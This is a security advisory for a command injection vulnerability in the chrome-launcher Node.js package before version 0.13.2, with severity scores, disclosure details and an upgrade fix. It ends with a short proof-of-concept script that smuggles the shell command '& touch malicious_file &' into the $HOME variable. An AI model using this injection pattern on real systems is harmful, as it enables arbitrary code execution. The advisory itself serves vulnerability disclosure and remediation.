Command Injection Affecting chrome-launcher package, versions <0.13.2


0.0
high

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.38% (73rd percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-CHROMELAUNCHER-537575
  • published 11 Dec 2019
  • disclosed 10 Dec 2019
  • credit JHU System Security Lab

How to fix?

Upgrade chrome-launcher to version 0.13.2 or higher.

Overview

chrome-launcher is a library to launch Google Chrome with ease from node.

Affected versions of this package are vulnerable to Command Injection. By controlling the $HOME environment variable in Linux operating systems, an attacker can execute arbitrary code.

PoC:

var malicious_code = '& touch malicious_file &';
process.env.HOME += "/" + malicious_code;
var Root = require("chrome-launcher");
Root.launch();